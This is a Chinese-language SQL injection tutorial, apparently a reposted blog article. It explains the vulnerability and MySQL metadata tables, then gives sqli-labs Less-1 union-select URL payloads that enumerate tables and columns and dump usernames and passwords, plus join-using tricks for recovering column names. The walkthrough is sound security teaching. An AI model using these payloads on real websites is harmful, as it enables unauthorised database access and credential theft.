SQL注入漏洞解析

什么是SQL注入
原理:

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

解释:当我们用户在前端浏览器页面做一些事情的时候,当需要与数据库进行交互时,比如最简单的登陆账号,web应用程序接收到我们账号密码后,需要后台有这样一个数据库的命令,去查询数据库中是否有这样的一个账号密码与之对应,然后做出判断:是否存在用户名,若存在,用户名与密码是否相匹配。然而,当数据库的这个命令直接被用户去操控,用户直接对数据库进行任意操作。这样所带来的隐患是极其严重的。我们称之为存在SQL注入漏洞。

起因:

     为什么会有SQL注入?

  • 代码对带入SQL语句的参数过滤不严格
  • 未启用框架的安全配置,例如:PHP的magic_quotes_gpc
  • 未使用框架安全的查询方法
  • 测试接口未删除
  • 未启用防火墙
  • 未使用其他的安全防护设备
  • .......
危害 :

这些危害包括但不局限于:

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马。传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作。数据库服务器被攻击。数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控“制操作系统。
  • 破坏读盘数据,瘫痪全系统。 一些类型的数据库系统能够让Sql指令操作文件系统,这使得Sql注入的危害被进一步放大。
场景:

哪些地方可能会存在SQL注入?

  • ​ 所有与数据库进行交互的地方:
  • 登陆框
  • 搜索框
  • 详情页
  • 提交按钮
前置知识
以下所有内容除特殊强调外数据库均为Mysql

先来了解一下Mysql的一些基础结构把

  • 数据库:information_schema(存放数据库元信息)

其中三张常用的表

  1. schemata (存放数据库名)
  2. tables (存放表名)
  3. columns(存放字段名)

schemata表:

     schema_name字段用来存储数据库名
tables表:

  1. table_schema(数据库名)
  2. table_name(表名)

columns表:

  1. table_schema(数据库名)
  2. table_name(表名)
  3. column_name(字段名)
SQL注入分类:

 SQL注入的类型很多,但不是严格的进行区分的。如报错注入可发生在GET型注入中,也可发生在POST型注入中,以下列举几种常见的分类:

按照请求方法分类
  • GET型注入
  • POST型注入
按照SQL数据类型分类
  • 整型注入
  • 字符型注入
其他类型
  • 报错注入
  • 布尔盲注
  • 时间盲注
  • Cookie注入
  • User-Agent注入
判断是否存在SQL注入
​ 当我们在进行SQL注入时,首先要判断他的注入点。其目的便是尽可能地使数据库去执行我们的输入:

单引号’、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
在url后加and 1=1 、and 1=2、 -0、 +0、 .0、 .1等查看页面回显是否一样来判断所输入的数据是否被当作数据库命令执行。(部分注入存在回显不明显,可通过审查元素或者使用BurpSuite进行查看)
下面我们用sqli-labs 为实验环境进行展开分析

1.sqli-labs第一关

1.1判断是否存在sql注入

1.提示你输入数字值的ID作为参数,我们输入?id=1

 

2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型。

当我加了'之后显示语法错误

但是我注释掉'之后有数据显示 

4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

之后通过order by 后加数字来判断有多少个字段若 order by 2返回正常 则说明字段数大于等于2。由该处 order by 3正常 order by 4返回错误可判断字段数为3

 

 知道字段后我们就可以联合查询

127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3--+

 

  • 使用函数version(),database()替换占位数字回显出数据库版本信息名称

知道库名(security)之后数据库的所有表名
id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

查列名
?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

我们查到了库里有id,username,password,就能查到里边具体的数据  

/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+

 ok,我们查到了数据,就可以.......🤣

衍生一下,如果我们的information schema被过滤,怎末版。

1.2学习一下无列名注入 

 有没有代替information schema的呢?

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

利用join-using注列名

通过系统关键字join可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

爆表名
?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_auto_increment_columns%20where%20table_schema=database()--+
/?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_table_statistics_with_buffer%20where%20table_schema=database()--+

?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b)%20as%20c--+

?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id))c--+

/?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username))%20as%20c--+

?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username,password))%20as%20c--+

 这就把列名一步一步全部弄出来了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/484133.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在vue3中使用canvas实现雨滴效果

在vue3中使用canvas实现雨滴效果 这是封装的一个组件DotAndRain&#xff08; &#xff09; <script setup> import { ref, onMounted } from "vue"; import { onUnmounted } from "vue";let animationFrameId null;const el ref(null); let canv…

⭐北邮复试刷题LCR 052. 递增顺序搜索树__DFS (力扣119经典题变种挑战)

LCR 052. 递增顺序搜索树 给你一棵二叉搜索树&#xff0c;请 按中序遍历 将其重新排列为一棵递增顺序搜索树&#xff0c;使树中最左边的节点成为树的根节点&#xff0c;并且每个节点没有左子节点&#xff0c;只有一个右子节点。 示例 1&#xff1a; 输入&#xff1a;root [5,…

论文学习 BioNeRF: Biologically Plausible Neural Radiance Fields for View Synthesis

论文学习 BioNeRF: Biologically Plausible Neural Radiance Fields for View Synthesis 前言简介NeRF介绍BioNeRF位置编码提取感知过滤记忆更新纹理推断损失函数 量化验证总结 前言 虽然我不应该再看NeRF相关的东西了&#xff0c;但是我还是觉得这个论文的题目很有意思&#…

一文穿透线程池,从此吊打面试官

目录 一、什么是线程池&#xff1f; 为什么要使用它&#xff1f; 二、什么是Executor框架&#xff1f; 三、什么是阻塞队列&#xff1f;如何使用阻塞队列来实现生产者-消费者模型&#xff1f; 四、常见线程池的快捷创建方式 五、为什么不建议使用 Executors静态工厂构建线…

六、回归与聚类算法 - 欠拟合和过拟合

目录 1、定义 2、原因及解决方法 2.1 正则化 线性回归欠拟合与过拟合线性回归的改进 - 岭回归分类算法&#xff1a;逻辑回归模型保存与加载无监督学习&#xff1a;K-means算法 1、定义 2、原因及解决方法 2.1 正则化

windows极限摸鱼软件(仅6678kb)

时间过得真快啊&#xff0c;不知不觉春节假期就过完了。你已经开始工作了吗&#xff1f;反正我是一直没闲着。 歇的时间久了&#xff0c;一上班这节奏很难一下子转换过来。也可能刚上班&#xff0c;没什么事情做&#xff0c;有点无聊。 &#xff08;好吧&#xff0c;我承认了…

外卖柜平台的设计与实现以及实践与总结

近年来&#xff0c;外卖行业的快速发展推动了外卖配送行业的进步和创新。外卖柜平台作为一种新兴的配送方式&#xff0c;在提高配送效率和服务质量方面具有很大的优势。本文将探讨美团外卖柜平台的设计与实现&#xff0c;以及如何保障其稳定性和安全性。 架构设计 美团外柜平台…

2024最佳住宅代理IP服务商

跨境出海已成为了近几年的最热趋势&#xff0c;大批量的企业开始开拓海外市场&#xff0c;而海外电商领域则是最受欢迎的切入口。新兴的tiktok、Temu&#xff0c;老牌的Amazon、Ebay&#xff0c;热门的Etsy、Mecari等等都是蓝海一片。跨境入门并不难&#xff0c;前期的准备中不…

【鸿蒙 HarmonyOS 4.0】TypeScript开发语言

一、背景 HarmonyOS 应用的主要开发语言是 ArkTS&#xff0c;它由 TypeScript&#xff08;简称TS&#xff09;扩展而来&#xff0c;在继承TypeScript语法的基础上进行了一系列优化&#xff0c;使开发者能够以更简洁、更自然的方式开发应用。值得注意的是&#xff0c;TypeScrip…

2/22作业

1.按位置插入 void insert_pos(seq_p L,datetype value,int pos) { if(LNULL) { printf("入参为空\n"); return; } if(seq_full(L)) { printf("表已满\n"); return; } if(pos>L->len|…

MATLAB 导出可编辑的eps格式图像

任务描述&#xff1a;部分期刊要求提交可编辑的eps格式图像&#xff0c;方便美工编辑对图像进行美化 我试了直接print或者在figure窗口导出&#xff0c;发现导出的文件放到Adobe AI中并不能编辑&#xff0c;经Google找到解决办法&#xff1a; %EPS exportgraphics(gcf,myVect…

鱼哥赠书活动第⑧期:《基础软件之路:企业级实践及开源之路》

鱼哥赠书活动第⑧期&#xff1a;《基础软件之路&#xff1a;企业级实践及开源之路》 作者介绍&#xff1a;1.静态分析工具在当前软件开发流程中的应用2.编译相关技术在静态分析工具中的应用3.编译相关技术在提升软件质量和性能上的更多应用4. 未来展望图书推荐&#xff1a;赠书…